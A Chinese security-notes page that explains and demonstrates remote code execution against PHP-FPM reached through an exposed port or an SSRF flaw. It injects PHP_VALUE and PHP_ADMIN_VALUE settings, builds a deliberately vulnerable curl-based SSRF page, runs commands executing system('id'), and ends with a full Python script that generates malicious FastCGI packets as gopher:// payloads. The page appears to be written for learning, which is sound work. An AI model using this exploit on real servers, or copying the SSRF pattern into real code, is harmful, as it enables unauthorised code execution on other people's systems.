PHP - php-fpm未授权访问攻击 - 《我的安全笔记》

环境搭建
php-fpm

环境搭建

环境搭建请看另一篇文章

php-fpm

在前面我们也看到了PHP-FPM这个东西，那这个PHP-FPM到底是什么呢？

官方对PHP-FPM的解释是 FastCGI 进程管理器，用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。

也就是说 PHP-FPM 是 FastCGI 的一个具体实现，并且提供了进程管理的功能，在其中的进程中，包含了 master 和 worker 进程，这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信，接收服务器中间按照 FastCGI 的规则打包好的用户请求，再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码，处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。

举个例子，当用户访问 http://127.0.0.1/index.php?a=1&b=2 时，如果 Web 目录是 /var/www/html，那么 Web 服务器中间件（如 Nginx）会将这个请求变成如下 key-value 对：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是 PHP 中 $_SERVER 数组的一部分，也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组，也是告诉 fpm：“我要执行哪个 PHP 文件”。

PHP-FPM 拿到 Fastcgi 的数据包后，进行解析，得到上述这些环境变量。然后，执行 SCRIPT_FILENAME 的值指向的PHP文件，也就是 /var/www/html/index.php。但如果我们能够控制 SCRIPT_FILENAME 的值，不就可以让 PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里，PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。

PHP-FPM 任意代码执行

前文我们讲到， Web 服务器中间件会将用户请求设置成环境变量，并且会出现一个 'SCRIPT_FILENAME': '/var/www/html/index.php' 这样的键值对，它的意思是 PHP-FPM 会执行这个文件，但是这样即使能够控制这个键值对的值，但也只能控制 PHP-FPM 去执行某个已经存在的文件，不能够实现一些恶意代码的执行。并且在 PHP 5.3.9 后来的版本中，PHP 增加了 security.limit_extensions 安全选项，导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件，因此你必须找到一个已经存在的 PHP 文件，这也增大了攻击的难度。

但是好在强大的 PHP 中有两个有趣的配置项：

auto_prepend_file：告诉PHP，在执行目标文件之前，先包含 auto_prepend_file 中指定的文件。
auto_append_file：告诉PHP，在执行完成目标文件后，再包含 auto_append_file 指向的文件。

那么就有趣了，假设我们设置 auto_prepend_file 为 php://input，那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以，我们只需要把需要执行的代码放在 Body 中，他们就能被执行了。（当然，这还需要开启远程文件包含选项 allow_url_include）

那么，我们怎么设置 auto_prepend_file 的值？

这就又涉及到 PHP-FPM 的两个环境变量，PHP_VALUE 和 PHP_ADMIN_VALUE。这两个环境变量就是用来设置 PHP 配置项的，PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项，PHP_ADMIN_VALUE 可以设置所有选项。

所以，我们最后传入的就是如下的环境变量：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置 auto_prepend_file = php://input 且 allow_url_include = On，然后将我们需要执行的代码放在 Body 中，即可执行任意代码。

PHP-FPM 未授权访问漏洞

前文我们讲到，攻击者可以通过 PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ，从而使 PHP-FPM 执行我们提供的任意代码，造成任意代码执行。除此之外，由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的，因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上，所有人都可以对其进行访问。这样就意味着，任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。

用P神的fpm.py

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

php-fpm未授权访问攻击 - 图1

SSRF 中对 FPM/FastCGI 的攻击

有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面，而是 127.0.0.1，这样便避免了将 PHP-FPM 暴露在公网上被攻击者访问，但是如果目标主机上存在 SSRF 漏洞的话，我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。

打开 /etc/php/7.4/fpm/pool.d/www.conf

php-fpm未授权访问攻击 - 图2

我们绑定在127.0.0.1上，不暴露在公网。

重启nginxservice nginx reload

ps -elf | grep php-fpm

php-fpm未授权访问攻击 - 图3

然后kill杀掉进程。再重新启动/usr/sbin/php-fpm7.4

此时外网已经不能打通，内网可以

php-fpm未授权访问攻击 - 图4

php-fpm未授权访问攻击 - 图5

我们写一个ssrf的点

 <?php
    highlight_file(__FILE__);
    $url = $_GET['url'];
    $curl = curl_init($url);    
    //第二种初始化curl的方式
    //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); 
    /*进行curl配置*/
    curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
    $responseText = curl_exec($curl);
    //var_dump(curl_error($curl) ); // 如果执行curl过程中出现异常，可打开此开关，以便查看异常内容
    echo $responseText;
    curl_close($curl);
?>

此时发现curl不生效，发现是没装curl拓展

apt-get -y install php7.4-curl

然后重启php-fpm

pkill php-fpm
/usr/sbin/php-fpm7.4

php-fpm未授权访问攻击 - 图6

监听一下，然后把流量打到1234端口

python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('id'); exit(); ?>" -p 1234

php-fpm未授权访问攻击 - 图7

拿到流量转换为gopher的形式。然后打一下就行了。我这个环境没成功，url一场就curl不过去。不知道是什么原因。

参考https://www.mi1k7ea.com/2019/08/25/%E6%B5%85%E8%B0%88PHP-FPM%E5%AE%89%E5%85%A8/#0x05-SSRF%E6%94%BB%E5%87%BB%E6%9C%AC%E5%9C%B0PHP-FPM

这篇里有一个p神脚本修改，用于生成gopher的

py -2 fpm.py -c "<?php system('ls /'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)